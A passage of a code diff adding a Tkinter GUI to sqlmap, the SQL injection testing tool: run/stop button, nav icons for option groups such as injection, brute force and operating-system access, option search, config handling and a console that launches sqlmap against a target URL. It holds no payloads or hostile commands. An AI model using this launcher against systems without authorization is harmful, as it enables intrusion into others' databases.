bh) // 2 + x1, y1 = x0 + bw, y0 + bh + baseFill = p["red"] if running else p["success"] + fill = ("#d15056" if running else "#3bae6b") if self._runHover else baseFill + c.create_rectangle(x0, y0, x1, y1, fill=fill, outline="#d9f1e3", width=1, + tags=("runbtn", "runpill")) + c.create_line(x0 + 1, y0 + 1, x1 - 1, y0 + 1, fill="#8fd2aa" if not running else "#ef9da1", + tags="runbtn") + c.create_line(x0 + 1, y1 - 1, x1 - 1, y1 - 1, fill="#17613a" if not running else "#75252a", + tags="runbtn") + cy = (y0 + y1) // 2 + tx = x0 + 23 + if running: + c.create_rectangle(tx, cy - 6, tx + 11, cy + 6, fill="#ffffff", outline="", + tags=("runbtn", "runico")) + else: + c.create_polygon(tx, cy - 6, tx, cy + 6, tx + 10, cy, fill="#ffffff", outline="", + tags=("runbtn", "runico")) + c.create_text((x0 + x1) // 2 + 8, cy, text=("Stop" if running else "Run"), fill="#ffffff", + font=self.fonts["bodyBold"], tags=("runbtn", "runico")) + c.tag_bind("runbtn", "<Button-1>", lambda e: self._runButtonAction()) + c.tag_bind("runbtn", "<Enter>", lambda e: self._hoverRun(True)) + c.tag_bind("runbtn", "<Leave>", lambda e: self._hoverRun(False)) + + def _runButtonAction(self): + if self._isRunning(): + self.stopProcess() + else: + self.run() + + def _hoverRun(self, on): + """Update only the existing button items; never rebuild the header here.""" + self._runHover = on + try: + running = self._isRunning() + if on: + fill = "#d15056" if running else "#3bae6b" + else: + fill = PALETTE["red"] if running else PALETTE["success"] + self.header.itemconfigure("runpill", fill=fill) + self.header.configure(cursor="hand2" if on else "") + except Exception: + pass + + + def _drawIcon(self, c, name, col): + # minimal line-art icons, drawn as vectors so they render everywhere and need no assets + c.delete("all") + + def line(*pts, **kw): + c.create_line(*pts, fill=col, width=2, capstyle="round", joinstyle="round", **kw) + + def oval(x0, y0, x1, y1, filled=False): + c.create_oval(x0, y0, x1, y1, outline=col, width=2, fill=(col if filled else "")) + + def rect(x0, y0, x1, y1, filled=False): + c.create_rectangle(x0, y0, x1, y1, outline=col, width=2, fill=(col if filled else "")) + + def poly(*pts): + c.create_polygon(*pts, fill=col, outline="") + + def arc(x0, y0, x1, y1, start, extent): + c.create_arc(x0, y0, x1, y1, start=start, extent=extent, outline=col, width=2, style="arc") + + def dot(x, y, r=2): + c.create_oval(x - r, y - r, x + r, y + r, fill=col, outline="") + + def glyph(text, size=11): + c.create_text(11, 11, text=text, fill=col, font=(self.fonts["bodyBold"][0], size, "bold")) + + if name == "Quick start": + poly(12, 3, 6, 12, 10, 12, 9, 19, 16, 9, 11, 9) + elif name == "Target": + oval(4, 4, 18, 18) + dot(11, 11, 2) + elif name == "Request": + line(4, 8, 17, 8, arrow="last") + line(18, 14, 5, 14, arrow="last") + elif name == "Optimization": + arc(4, 6, 18, 20, 0, 180) + line(11, 13, 15, 8) + elif name == "Injection": + # syringe: thumb rest + plunger rod + flange + barrel + needle (no arrowhead, so it reads as a needle not a cross) + line(9, 2, 13, 2) + line(11, 2, 11, 5) + line(6, 5, 16, 5) + rect(8, 5, 14, 14) + line(11, 14, 11, 20) + elif name == "Detection": + oval(4, 4, 13, 13) + line(12, 12, 18, 18) + elif name == "Techniques": + oval(7, 7, 15, 15) + line(11, 2, 11, 6) + line(11, 16, 11, 20) + line(2, 11, 6, 11) + line(16, 11, 20, 11) + elif name == "Fingerprint": + # tightly nested tall loops with the gap at the bottom (fingertip ridges), plus a central core + arc(3, 1, 19, 21, 285, 330) + arc(5, 4, 17, 18, 285, 330) + arc(7, 7, 15, 15, 285, 330) + arc(9, 10, 13, 12, 285, 330) + elif name == "Enumeration": + oval(4, 3, 18, 7) + line(4, 5, 4, 16) + line(18, 5, 18, 16) + arc(4, 12, 18, 18, 180, 180) + elif name == "Brute force": + oval(3, 7, 11, 15) + line(9, 11, 19, 11) + line(16, 11, 16, 15) + line(19, 11, 19, 14) + elif name == "User-defined function injection": + glyph("fx", 11) + elif name == "File system access": + poly(3, 7, 8, 7, 10, 9, 19, 9, 19, 17, 3, 17) + elif name == "Operating system access": + rect(3, 5, 19, 17) + line(6, 9, 9, 11) + line(6, 13, 9, 13) + elif name == "Windows registry access": + # the waving Windows flag (4 slanted panes) rather than a plain 2x2 grid + poly(4, 6, 10, 5, 10, 11, 4, 12) + poly(12, 5, 18, 4, 18, 10, 12, 11) + poly(4, 13, 10, 12, 10, 18, 4, 19) + poly(12, 12, 18, 11, 18, 17, 12, 18) + elif name == "General": + line(4, 6, 18, 6) + dot(14, 6) + line(4, 11, 18, 11) + dot(8, 11) + line(4, 16, 18, 16) + dot(13, 16) + elif name == "Miscellaneous": + dot(5, 11) + dot(11, 11) + dot(17, 11) + else: + dot(11, 11, 3) + + def _addPane(self, name, navText): + p = PALETTE + tk = self.tk + row = tk.Frame(self.nav, background=p["mantle"]) + row.pack(fill=tk.X) + strip = tk.Frame(row, background=p["mantle"], width=3) + strip.pack(side=tk.LEFT, fill=tk.Y) + icon = tk.Canvas(row, width=22, height=22, highlightthickness=0, borderwidth=0, background=p["mantle"]) + icon.pack(side=tk.LEFT, padx=(13, 0), pady=8) + self._drawIcon(icon, name, self._iconColor(name)) + badge = tk.Label(row, text="", background=p["mantle"], foreground=p["navMuted"], font=self.fonts["small"]) + badge.pack(side=tk.RIGHT, padx=(0, 12)) + self.badges[name] = badge + lab = tk.Label(row, text=navText, background=p["mantle"], foreground=p["navText"], + font=self.fonts["nav"], anchor="w", padx=10, pady=9) + lab.pack(side=tk.LEFT, fill=tk.X, expand=True) + for w in (row, lab, strip, icon, badge): + w.bind("<Button-1>", lambda e, n=name: self._selectPane(n)) + w.bind("<Enter>", lambda e, n=name: self._navHover(n, True)) + w.bind("<Leave>", lambda e, n=name: self._navHover(n, False)) + self.navItems[name] = (row, strip, icon, lab, badge) + self.paneOrder.append(name) + + outer = self.ttk.Frame(self.content, style="Card.TFrame") + canvas = tk.Canvas(outer, background=p["panel"], highlightthickness=0, borderwidth=0) + scrollbar = self.ttk.Scrollbar(outer, orient="vertical", command=canvas.yview, style="Vertical.TScrollbar") + inner = self.ttk.Frame(canvas, style="Card.TFrame", padding=(24, 20)) + inner.bind("<Configure>", lambda e: canvas.configure(scrollregion=canvas.bbox("all"))) + window_id = canvas.create_window((0, 0), window=inner, anchor="nw") + canvas.bind("<Configure>", lambda e: canvas.itemconfigure(window_id, width=e.width)) + canvas.configure(yscrollcommand=scrollbar.set) + canvas.pack(side="left", fill="both", expand=True) + scrollbar.pack(side="right", fill="y") + self.panes[name] = outer + self.canvases[name] = canvas + self.inners[name] = inner + return inner + + def _iconColor(self, name): + return PALETTE.get(ICON_COLORS.get(name, "subtext"), PALETTE["subtext"]) + + def _navHover(self, name, entering): + if entering: + self._prioritizePaneBuild(name) + if name == self.currentPane: + return + bg = PALETTE["navHover"] if entering else PALETTE["mantle"] + row, strip, icon, lab, badge = self.navItems[name] + for w in (row, strip, icon, lab, badge): + w.configure(background=bg) + + def _navKey(self, delta): + try: + focused = self.window.focus_get() + except Exception: + focused = None + if isinstance(focused, (self.ttk.Entry, self.ttk.Combobox)): + return None + if self.paneOrder: + index = self.paneOrder.index(self.currentPane) + self._selectPane(self.paneOrder[(index + delta) % len(self.paneOrder)]) + return "break" + + def _selectPane(self, name): + # Build only a tiny, time-bounded slice synchronously so a never-visited pane + # appears immediately. The remaining rows are completed by the idle prebuilder. + if name not in self.built: + self._prioritizePaneBuild(name) + self._buildPaneSlice(name, budgetMs=14, minimumSteps=5) + if self.currentPane == name: + return + p = PALETTE + if self.currentPane: + self.panes[self.currentPane].pack_forget() + row, strip, icon, lab, badge = self.navItems[self.currentPane] + for w in (row, strip, icon): + w.configure(background=p["mantle"]) + lab.configure(background=p["mantle"], foreground=p["navText"], font=self.fonts["nav"]) + badge.configure(background=p["mantle"], foreground=p["navMuted"]) + self._drawIcon(icon, self.currentPane, self._iconColor(self.currentPane)) + self.panes[name].pack(expand=True, fill=self.tk.BOTH) + row, strip, icon, lab, badge = self.navItems[name] + for w in (row, icon): + w.configure(background=p["blue"]) + strip.configure(background=p["sky"]) + lab.configure(background=p["blue"], foreground="#ffffff", font=self.fonts["bodyBold"]) + badge.configure(background=p["blue"], foreground="#d9edf5") + self._drawIcon(icon, name, "#ffffff") + self.currentPane = name + # Geometry flushing here used to make first-time pane switches feel much + # slower than the widget creation itself. Sidebar visibility can be fixed + # on the next idle turn without blocking the click handler. + self.window.after_idle(lambda n=name: self._ensureNavVisible(n) if self.currentPane == n else None) + + if hasattr(self, "hint"): # don't leave the previous section's option hint lingering + self.hint.set(HINT_DEFAULT) + + def _ensureNavVisible(self, name): + # scroll the sidebar so the active item stays in view (e.g. when paging with Up/Down) + try: + row = self.navItems[name][0] + total = self.nav.winfo_height() + viewH = self.navCanvas.winfo_height() + if total <= 1 or viewH <= 1: + return + top = row.winfo_y() + bottom = top + row.winfo_height() + curTop = self.navCanvas.yview()[0] * total + if top < curTop: + self.navCanvas.yview_moveto(float(top) / total) + elif bottom > curTop + viewH: + self.navCanvas.yview_moveto(float(bottom - viewH) / total) + except Exception: + pass + + def _onWheel(self, event): + # Route the wheel only when the pointer is actually over this window's sidebar/content. + rawDelta = getattr(event, "delta", 0) + if getattr(event, "num", None) == 5: + delta = 1 + elif getattr(event, "num", None) == 4: + delta = -1 + else: + delta = -int(rawDelta / 120) if abs(rawDelta) >= 120 else (-1 if rawDelta > 0 else 1) + target = None + node = self.window.winfo_containing(event.x_root, event.y_root) + while node is not None: + if node is self.navCanvas: + target = self.navCanvas + break + if self.currentPane and node is self.canvases.get(self.currentPane): + target = self.canvases[self.currentPane] + break + try: + node = node.master + except Exception: + break + if target is not None: + target.yview_scroll(delta, "units") + return "break" + return None + + def _schedulePanePrebuild(self, delay=1): + if self._prebuildJob is not None: + return + try: + self._prebuildJob = self.window.after(delay, self._pumpPanePrebuild) + except Exception: + self._prebuildJob = None + + def _prioritizePaneBuild(self, name): + if name in self.built: + return + try: + self._prebuildQueue.remove(name) + except ValueError: + pass + self._prebuildQueue.insert(0, name) + self._schedulePanePrebuild() + + def _buildPaneSlice(self, name, budgetMs=7, minimumSteps=1): + if name in self.built: + return True + builder = self.builders.get(name) + if builder is None: + self.built.add(name) + return True + state = self.buildStates.get(name) + if state is None: + state = builder(self.inners[name]) + self.buildStates[name] = state + + deadline = _clock() + max(0.001, budgetMs / 1000.0) + steps = 0 + while steps < minimumSteps or _clock() < deadline: + try: + next(state) + steps += 1 + except StopIteration: + self.buildStates.pop(name, None) + self.built.add(name) + try: + self._prebuildQueue.remove(name) + except ValueError: + pass + return True + except Exception: + # A broken optional field should not make the whole GUI unusable. + self.buildStates.pop(name, None) + self.built.add(name) + try: + self._prebuildQueue.remove(name) + except ValueError: + pass + return True + return False + + def _pumpPanePrebuild(self): + self._prebuildJob = None + while self._prebuildQueue and self._prebuildQueue[0] in self.built: + self._prebuildQueue.pop(0) + if not self._prebuildQueue: + return + + name = self._prebuildQueue[0] + finished = self._buildPaneSlice(name, budgetMs=7, minimumSteps=1) + if finished and self._prebuildQueue and self._prebuildQueue[0] == name: + self._prebuildQueue.pop(0) + # Yield to pointer, keyboard, expose and paint events after every small slice. + self._schedulePanePrebuild(1) + + def _scheduleSearch(self, *unused): + if self._searchJob is not None: + try: + self.window.after_cancel(self._searchJob) + except Exception: + pass + self._searchJob = self.window.after(90, self._applySearch) + + def _applySearch(self): + self._searchJob = None + query = self.searchVar.get().strip().lower() + if not query: + self.searchMatches = [] + self.searchList.delete(0, self.tk.END) + self.searchList.pack_forget() + return + + tokens = query.split() + matches = [] + for dest, index, label, section, flag, haystack in self.searchIndex: + if not all(token in haystack for token in tokens): + continue + score = 0 + if dest.lower().startswith(query): + score -= 40 + if flag.lower().startswith(query) or flag.lower().startswith("--" + query): + score -= 30 + if label.lower().startswith(query): + score -= 20 + if section.lower().startswith(query): + score -= 10 + matches.append((score, index, dest, label, section)) + + matches.sort() + matches = matches[:MAX_SEARCH_RESULTS] + self.searchMatches = [item[2] for item in matches] + self.searchList.delete(0, self.tk.END) + for _, _, dest, label, section in matches: + shortSection = NAV_ALIASES.get(section, section) + self.searchList.insert(self.tk.END, "%s [%s]" % (label, shortSection)) + + if matches: + self.searchList.configure(height=min(7, len(matches))) + self.searchList.pack(fill=self.tk.X, padx=9, pady=(0, 7), before=self.navCanvas) + self.searchList.selection_clear(0, self.tk.END) + self.searchList.selection_set(0) + self.searchList.activate(0) + else: + self.searchList.insert(self.tk.END, "No matching options") + self.searchList.configure(height=1) + self.searchList.pack(fill=self.tk.X, padx=9, pady=(0, 7), before=self.navCanvas) + + def _searchMoveDown(self, event=None): + if self.searchMatches: + self.searchList.focus_set() + self.searchList.selection_clear(0, self.tk.END) + self.searchList.selection_set(0) + self.searchList.activate(0) + return "break" + + def _clickSearchResult(self, event): + if not self.searchMatches: + return "break" + try: + index = int(self.searchList.nearest(event.y)) + except Exception: + index = 0 + if index < 0 or index >= len(self.searchMatches): + return "break" + # Resolve the clicked row ourselves instead of depending on Listbox class + # bindings, whose selection update happens after this widget binding. + self.searchList.selection_clear(0, self.tk.END) + self.searchList.selection_set(index) + self.searchList.activate(index) + return self._activateSearchIndex(index) + + def _activateSearchResult(self, event=None): + if not self.searchMatches: + return "break" + selection = self.searchList.curselection() + index = int(selection[0]) if selection else 0 + return self._activateSearchIndex(index) + + def _activateSearchIndex(self, index): + if not self.searchMatches: + return "break" + if index < 0 or index >= len(self.searchMatches): + index = 0 + dest = self.searchMatches[index] + section = self.sectionByDest.get(dest) + self.searchVar.set("") + if section in self.panes: + self._selectPane(section) + self._focusOptionWhenReady(dest, section) + elif dest == "url": + self._focusTarget() + return "break" + + def _focusOptionWhenReady(self, dest, paneName): + # A search can jump to an option that the incremental pane builder has not + # created yet. Continue that pane in tiny slices and focus as soon as the + # requested widget exists, without blocking the click handler. + for candidatePane, candidateWidget in self.controlsByDest.get(dest, ()): + if candidatePane == paneName: + self.window.after_idle(lambda d=dest, p=paneName: self._focusOption(d, p)) + return + if paneName not in self.built: + self._prioritizePaneBuild(paneName) + self._buildPaneSlice(paneName, budgetMs=6, minimumSteps=1) + self.window.after(1, lambda d=dest, p=paneName: self._focusOptionWhenReady(d, p)) + + def _focusOption(self, dest, paneName): + candidates = self.controlsByDest.get(dest, ()) + widget = None + for candidatePane, candidateWidget in candidates: + if candidatePane == paneName: + widget = candidateWidget + break + if widget is None and candidates: + widget = candidates[0][1] + if widget is None: + return + try: + widget.focus_set() + if isinstance(widget, (self.ttk.Entry, self.ttk.Combobox)): + widget.select_range(0, "end") + canvas = self.canvases.get(paneName) + inner = self.inners.get(paneName) + if canvas is not None and inner is not None: + inner.update_idletasks() + total = max(1, inner.winfo_height()) + canvas.yview_moveto(max(0.0, min(1.0, float(widget.winfo_y() - 30) / total))) + except Exception: + pass + + def _buildPaneHeading(self, parent, title, description, optionCount): + p = PALETTE + card = self.tk.Frame(parent, background=p["surface0"], highlightthickness=1, + highlightbackground=p["border"], borderwidth=0) + card.grid(row=0, column=0, columnspan=2, sticky="ew", pady=(0, 16)) + accent = self.tk.Frame(card, background=self._iconColor(title), width=5) + accent.pack(side=self.tk.LEFT, fill=self.tk.Y) + content = self.ttk.Frame(card, style="PaneHeader.TFrame", padding=(14, 10, 14, 10)) + content.pack(side=self.tk.LEFT, fill=self.tk.BOTH, expand=True) + titleRow = self.ttk.Frame(content, style="PaneHeader.TFrame") + titleRow.pack(fill=self.tk.X) + self.ttk.Label(titleRow, text=title, style="Pane.TLabel").pack(side=self.tk.LEFT) + self.ttk.Label(titleRow, text="%d option%s" % (optionCount, "" if optionCount == 1 else "s"), + style="PaneCount.TLabel").pack(side=self.tk.RIGHT, pady=(6, 0)) + if description: + self.ttk.Label(content, text=description, style="PanelHint.TLabel", wraplength=690, + justify="left").pack(fill=self.tk.X, pady=(3, 0)) + + def _buildQuickStartPane(self): + name = "Quick start" + self._addPane(name, name) + self.sectionDests[name] = [_ for _ in QUICK_START_DESTS if _ in self.optionByDest] + + def build(inner): + description = "The options people reach for most. Set the target above, choose what you need, then Run." + self._buildPaneHeading(inner, name, description, len(self.sectionDests[name])) + yield + row = 1 + for dest in QUICK_START_DESTS: + option = self.optionByDest.get(dest) + if option is not None: + row = self._buildFieldRow(inner, option, row, paneName=name) + yield + inner.columnconfigure(1, weight=1) + + self.builders[name] = build + + def _buildGroupPane(self, group): + title = _groupTitle(group) + self._addPane(title, NAV_ALIASES.get(title, title)) + self.sectionDests[title] = [_optDest(_) for _ in _groupOptions(group) if _optDest(_)] + + def build(inner, group=group, title=title): + self._buildPaneHeading(inner, title, _groupDescription(group), len(self.sectionDests[title])) + yield + row = 1 + for option in _groupOptions(group): + row = self._buildFieldRow(inner, option, row, paneName=title) + yield + inner.columnconfigure(1, weight=1) + + self.builders[title] = build + + def _destVar(self, dest, is_bool): + # One shared effective-value variable per option, reflected in every duplicate control. + if dest not in self.vars: + var = self.tk.BooleanVar(value=False) if is_bool else self.tk.StringVar(value="") + self.vars[dest] = var + self.widgets[dest] = ("bool" if is_bool else "string", var) + try: + var.trace("w", self._onOptionChanged) + except Exception: + pass + return self.vars[dest] + + def _buildFieldRow(self, parent, option, row, labelText=None, paneName=None): + label = labelText or _optionLabel(option) + helptext = _optHelp(option) + dest = _optDest(option) + if not dest: + return row + is_bool = not _optTakesValue(option) + + if is_bool: + var = self._destVar(dest, True) + default = bool(defaults.get(dest)) + chk = self.ttk.Checkbutton(parent, text=label, variable=var, + onvalue=(not default), offvalue=default, takefocus=True) + chk.grid(row=row, column=0, columnspan=2, sticky="w", pady=5) + self.tooltip.attach(chk, helptext) + self.controlsByDest.setdefault(dest, []).append((paneName, chk)) + else: + otype = _optValueType(option) + var = self._destVar(dest, False) + lab = self.ttk.Label(parent, text=label, style="Field.TLabel") + lab.grid(row=row, column=0, sticky="w", padx=(0, 18), pady=6) + self.tooltip.attach(lab, helptext) + choices = _optChoices(option) + if choices: + widget = self.ttk.Combobox(parent, values=list(choices), state="readonly", textvariable=var) + else: + widget = self.ttk.Entry(parent, textvariable=var) + if otype in ("int", "float"): + self._constrain(widget, otype) + widget.grid(row=row, column=1, sticky="ew", pady=6) + self.tooltip.attach(widget, helptext) + self.controlsByDest.setdefault(dest, []).append((paneName, widget)) + return row + 1 + + def _constrain(self, entry, otype): + def check(proposed): + if proposed in ("", "+", "-", ".", "+.", "-."): + return True + try: + if otype == "int": + int(proposed) + else: + float(proposed) + return True + except (TypeError, ValueError): + return False + + vcmd = (self.window.register(check), "%P") + entry.configure(validate="key", validatecommand=vcmd) + + + # --- helpers -------------------------------------------------------- + + def _center(self, window, width=None, height=None): + window.update_idletasks() + width = width or window.winfo_width() + height = height or window.winfo_height() + x = window.winfo_screenwidth() // 2 - width // 2 + y = window.winfo_screenheight() // 2 - height // 2 + window.geometry("%dx%d+%d+%d" % (width, height, x, y)) + + def _isOptionSet(self, dest): + item = self.widgets.get(dest) + if item is None: + return False + otype, var = item + try: + value = var.get() + except Exception: + return False + default = defaults.get(dest) + if otype == "bool": + return bool(value) != bool(default) + if value in (None, ""): + return False + displayDefault = "" if default in (None, False) else str(default) + return str(value) != displayDefault + + def _updateStats(self): + setDests = set(_ for _ in self.widgets if self._isOptionSet(_)) + count = len(setDests) + status = "%d option%s set" % (count, "" if count == 1 else "s") + if self._isRunning(): + status += " | running" + self.stat.set(status) + for name, dests in self.sectionDests.items(): + badge = self.badges.get(name) + if badge is not None: + hits = sum(1 for _ in dests if _ in setDests) + badge.configure(text=(str(hits) if hits else "")) + + def _buildCommandString(self): + argv = ["sqlmap.py"] + for dest in self.optionOrder: + if not self._isOptionSet(dest): + continue + option = self.optionByDest.get(dest) + flag = _preferredFlag(option) if option is not None else "" + if not flag: + continue + otype, var = self.widgets[dest] + try: + argv.append(flag) + if otype != "bool": + argv.append(_toText(var.get())) + except Exception: + pass + if IS_WIN: + return _list2cmdline(argv) + return " ".join(_quoteArg(_) for _ in argv) + + def _copyCommand(self): + try: + self.window.clipboard_clear() + self.window.clipboard_append(self.command.get()) + self.hint.set("Command copied to clipboard") + except Exception: + pass + + def _pasteTarget(self): + try: + value = self.window.clipboard_get() + self.vars["url"].set(_toText(value).strip()) + self.targetEntry.focus_set() + self.targetEntry.icursor("end") + except Exception: + self.hint.set("Clipboard does not contain text") + + def _clearTarget(self): + try: + self.vars["url"].set("") + self.targetEntry.focus_set() + except Exception: + pass + + def _focusTarget(self): + try: + self.targetEntry.focus_set() + self.targetEntry.select_range(0, "end") + except Exception: + pass + return "break" + + def _focusSearch(self): + try: + self.searchEntry.focus_set() + self.searchEntry.select_range(0, "end") + except Exception: + pass + return "break" + + def _escapeAction(self, event=None): + try: + if self.searchVar.get(): + self.searchVar.set("") + self.searchEntry.focus_set() + return "break" + except Exception: + pass + return None + + def _collectConfig(self): + config = {} + for dest, (otype, var) in self.widgets.items(): + try: + if otype == "bool": + value = bool(var.get()) + else: + raw = var.get() + if raw in (None, ""): + value = None + elif otype == "int": + value = int(raw) + elif otype == "float": + value = float(raw) + else: + value = raw + except Exception: + value = None + config[dest] = value + for option in self.optionByDest.values(): + dest = _optDest(option) + if config.get(dest) is None: + config[dest] = defaults.get(dest, None) + return config + + def _setWidgetValue(self, dest, value): + if dest not in self.widgets: + return + otype, var = self.widgets[dest] + try: + if otype == "bool": + var.set(bool(value)) + else: + var.set("" if value in (None, False) else value) + except Exception: + pass + + def resetOptions(self): + self._suspendRefresh = True + try: + for dest, (otype, var) in self.widgets.items(): + default = defaults.get(dest) + if otype == "bool": + var.set(bool(default)) + else: + var.set("" if default in (None, False) else default) + finally: + self._suspendRefresh = False + self._refreshDerivedState() + self.hint.set("All options reset to their defaults") + + + # --- actions -------------------------------------------------------- + + def loadConfig(self): + path = self.filedialog.askopenfilename(title="Load configuration", filetypes=[("sqlmap config", "*.conf *.ini"), ("All files", "*.*")]) + if not path: + return + try: + from thirdparty.six.moves import configparser as _configparser + parser = _configparser.ConfigParser() + parser.optionxform = str + parser.read(path) + byLower = dict((_.lower(), _) for _ in self.widgets) + count = 0 + self._suspendRefresh = True + try: + for section in parser.sections(): + for name, value in parser.items(section): + dest = name if name in self.widgets else byLower.get(name.lower()) + if dest is None: + continue + if self.widgets[dest][0] == "bool": + self._setWidgetValue(dest, str(value).lower() in ("1", "true", "yes", "on")) + else: + self._setWidgetValue(dest, value) + count += 1 + finally: + self._suspendRefresh = False + self._refreshDerivedState() + self.hint.set("Loaded %d options from %s" % (count, os.path.basename(path))) + except Exception as ex: + self._suspendRefresh = False + self.messagebox.showerror("Load failed", getSafeExString(ex)) + + def saveConfigDialog(self): + path = self.filedialog.asksaveasfilename(title="Save configuration", defaultextension=".conf", filetypes=[("sqlmap config", "*.conf")]) + if not path: + return + try: + saveConfig(self._collectConfig(), path) + self.hint.set("Saved configuration to %s" % os.path.basename(path)) + except Exception as ex: + self.messagebox.showerror("Save failed", getSafeExString(ex)) + + def run(self): + if self._isRunning(): + self.hint.set("sqlmap is already running") + try: + self.consoleWindow.deiconify() + self.consoleWindow.lift() + except Exception: + pass + return + + configFile = None + try: + config = self._collectConfig() + handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) + os.close(handle) + saveConfig(config, configFile) + + env = os.environ.copy() + env.setdefault("PYTHONIOENCODING", "utf-8") + proc = subprocess.Popen( + [sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], + shell=False, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + stdin=subprocess.PIPE, + bufsize=0, + close_fds=not IS_WIN, + universal_newlines=False, + env=env, + ) + except Exception as ex: + self._cleanupConfigFile(configFile) + self.messagebox.showerror("Unable to start sqlmap", getSafeExString(ex)) + return + + self._runSerial += 1 + serial = self._runSerial + outputQueue = _queue.Queue() + self.process = proc + self.processQueue = outputQueue + self.processConfigFile = configFile + + def enqueue(stream, queue): + try: + for line in iter(stream.readline, b""): + if not line: + break + queue.put(_toText(line)) + except Exception as ex: + queue.put("\n[console reader error: %s]\n" % getSafeExString(ex)) + finally: + try: + stream.close() + except Exception: + pass + queue.put(None) + + thread = threading.Thread(target=enqueue, args=(proc.stdout, outputQueue)) + thread.daemon = True + thread.start() + + self.hint.set("sqlmap started") + self._scheduleHeaderDraw() + self._refreshDerivedState() + self._openConsole(proc, outputQueue, serial) + self.window.after(200, lambda: self._watchProcess(proc, serial, configFile)) + + def _watchProcess(self, proc, serial, configFile): + if proc.poll() is None: + try: + self.window.after(200, lambda: self._watchProcess(proc, serial, configFile)) + except Exception: + pass + return + + self._cleanupConfigFile(configFile) + if self.process is proc and self._runSerial == serial: + self.process = None + self.processQueue = None + self.processConfigFile = None + self._scheduleHeaderDraw() + self._refreshDerivedState() + self.hint.set("sqlmap finished with exit code %s" % proc.returncode) + + def stopProcess(self, proc=None): + proc = proc or self.process + if proc is None or proc.poll() is not None: + return + self.hint.set("Stopping sqlmap...") + try: + if self.consoleStatus is not None: + self.consoleStatus.set("Stopping...") + except Exception: + pass + try: + proc.terminate() + except Exception as ex: + self.messagebox.showerror("Unable to stop sqlmap", getSafeExString(ex)) + return + + def forceKill(): + if proc.poll() is None: + try: + proc.kill() + except Exception: + pass + + self.window.after(1800, forceKill) + + def _cleanupConfigFile(self, path): + if path: + try: + os.remove(path) + except OSError: + pass + + def _appendConsole(self, text, content, forceScroll=False): + if not content: + return + try: + atBottom = text.yview()[1] >= 0.985 + text.configure(state="normal") + text.insert(self.tk.END, content) + lineCount = int(float(text.index("end-1c").split(".")[0])) + if lineCount > MAX_CONSOLE_LINES: + text.delete("1.0", "%d.0" % (lineCount - MAX_CONSOLE_LINES)) + text.configure(state="disabled") + if forceScroll or atBottom: + text.see(self.tk.END) + except Exception: + pass + + def _openConsole(self, proc, outputQueue, serial): + p = PALETTE + tk = self.tk + try: + if self.consoleWindow is not None and self.consoleWindow.winfo_exists(): + self.consoleWindow.destroy() + except Exception: + pass + + top = tk.Toplevel(self.window) + self.consoleWindow = top + top.title("sqlmap - console") + top.configure(background=p["base"]) + + toolbar = self.ttk.Frame(top, style="Bar.TFrame", padding=(10, 8)) + toolbar.pack(fill=tk.X) + status = tk.StringVar(value="Running") + self.consoleStatus = status + self.ttk.Label(toolbar, textvariable=status, style="Stat.TLabel").pack(side=tk.LEFT) + stopButton = self.ttk.Button(toolbar, text="Stop", command=lambda: self.stopProcess(proc)) + stopButton.pack(side=tk.RIGHT, padx=(8, 0)) + self.ttk.Button(toolbar, text="Save log...", command=lambda: self._saveConsoleLog(text)).pack(side=tk.RIGHT, padx=(8, 0)) + self.ttk.Button(toolbar, text="Clear", command=lambda: self._clearConsole(text)).pack(side=tk.RIGHT) + + frame = self.ttk.Frame(top, style="Card.TFrame", padding=(10, 0, 10, 8)) + frame.pack(fill=tk.BOTH, expand=True) + text = self.scrolledtext.ScrolledText(frame, wrap=tk.NONE, bg=p["crust"], fg=p["consoleText"], + insertbackground=p["commandText"], selectbackground=p["sapphire"], + selectforeground="#ffffff", relief="sunken", borderwidth=2, + font=self.fonts["mono"], padx=12, pady=10, state="disabled") + text.pack(fill=tk.BOTH, expand=True) + self.consoleText = text + self._appendConsole(text, "$ %s\n\n" % self.command.get(), forceScroll=True) + + inputBar = self.ttk.Frame(top, style="Bar.TFrame", padding=(10, 0, 10, 10)) + inputBar.pack(fill=tk.X) + self.ttk.Label(inputBar, text="Input:", style="Hint.TLabel").pack(side=tk.LEFT, padx=(0, 8)) + inputVar = tk.StringVar(value="") + inputEntry = self.ttk.Entry(inputBar, textvariable=inputVar) + inputEntry.pack(side=tk.LEFT, fill=tk.X, expand=True) + + def sendInput(event=None): + value = inputVar.get() + if proc.poll() is not None: + return "break" + try: + proc.stdin.write(_toBytes(_toText(value) + u"\n")) + proc.stdin.flush() + self._appendConsole(text, "> %s\n" % value, forceScroll=True) + inputVar.set("") + except Exception as ex: + self._appendConsole(text, "[input error: %s]\n" % getSafeExString(ex), forceScroll=True) + return "break" + + self.ttk.Button(inputBar, text="Send", command=sendInput).pack(side=tk.RIGHT, padx=(8, 0)) + inputEntry.bind("<Return>", sendInput) + inputEntry.focus_set() + + state = {"readerDone": False, "finishedShown": False} + + def pump(): + try: + if not top.winfo_exists(): + return + except Exception: + return + + chunks = [] + size = 0 + for _ in range(256): + try: + item = outputQueue.get_nowait() + except _queue.Empty: + break + if item is None: + state["readerDone"] = True + break + chunks.append(item) + size += len(item) + if size >= 131072: + break + if chunks: + self._appendConsole(text, "".join(chunks)) + + finished = proc.poll() is not None and state["readerDone"] and outputQueue.empty() + if finished and not state["finishedShown"]: + state["finishedShown"] = True + code = proc.returncode + self._appendConsole(text, "\n--- process finished (exit code %s) ---\n" % code, forceScroll=True) + status.set("Finished (exit code %s)" % code) + try: + inputEntry.configure(state="disabled") + stopButton.configure(state="disabled") + except Exception: + pass + return + top.after(45 if chunks else 90, pump) + + def closeConsole(): + if proc.poll() is None: + if not self.messagebox.askyesno("Close console", "Stop the running sqlmap process and close the console?"): + return + self.stopProcess(proc) + try: + top.destroy() + except Exception: + pass + if self.consoleWindow is top: + self.consoleWindow = None + self.consoleText = None + self.consoleStatus = None + + top.protocol("WM_DELETE_WINDOW", closeConsole) + self._center(top, 920, 600) + top.after(45, pump) + + def _clearConsole(self, text): + try: + text.configure(state="normal") + text.delete("1.0", self.tk.END) + text.configure(state="disabled") + except Exception: + pass + + def _saveConsoleLog(self, text): + path = self.filedialog.asksaveasfilename(title="Save console log", defaultextension=".log", + filetypes=[("Log file", "*.log"), ("Text file", "*.txt"), ("All files", "*.*")]) + if not path: + return + try: + with io.open(path, "w", encoding="utf-8") as handle: + handle.write(_toText(text.get("1.0", "end-1c"))) + self.hint.set("Saved console log to 